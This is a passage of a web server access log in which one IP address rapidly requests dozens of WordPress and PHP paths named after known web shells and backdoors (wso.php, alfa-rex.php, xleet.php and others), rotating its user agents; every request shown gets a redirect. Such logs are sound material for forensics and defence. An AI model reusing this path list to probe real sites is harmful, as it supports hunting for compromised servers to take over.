/wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:15 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:15 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:15 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:16 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:44:16 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:44:16 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:16 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:17 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:17 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:17 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:44:17 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:17 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:18 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.137.126.77 - - [21/Mar/2026:12:44:18 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:18 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:44:18 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:18 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:19 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:19 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:19 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:44:19 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:19 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:20 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:20 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:20 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:20 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:20 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:21 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:21 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:21 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:21 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:44:21 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:22 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:22 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:22 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:22 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.77 - - [21/Mar/2026:12:44:22 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:23 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:23 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:23 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.77 - - [21/Mar/2026:12:44:23 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:44:24 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:24 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:24 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:24 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:24 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:25 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:25 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:25 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:25 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:25 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:26 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:26 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:26 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:26 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:26 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.77 - - [21/Mar/2026:12:44:27 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:27 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:27 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:27 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:27 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:28 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:28 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:28 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:28 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:29 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:29 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:29 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:29 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:30 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:30 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:30 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:30 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:30 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:31 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:31 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:31 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:31 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:32 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:32 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:32 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:32 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:32 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:33 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:33 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:33 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:33 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:33 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:34 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:34 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:34 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.77 - - [21/Mar/2026:12:44:34 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:34 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:35 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.77 - - [21/Mar/2026:12:44:35 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:35 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:35 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:36 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.77 - - [21/Mar/2026:12:44:36 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:36 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:36 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.77 - - [21/Mar/2026:12:44:36 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:37 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:37 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.77 - - [21/Mar/2026:12:44:37 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.77 - - [21/Mar/2026:12:44:37 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:37 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.77 - - [21/Mar/2026:12:44:38 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.77 - - [21/Mar/2026:12:44:38 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.77 - - [21/Mar/2026:12:44:38 +0300] "GET /wp-includes/style-engine/wp-conflg.php 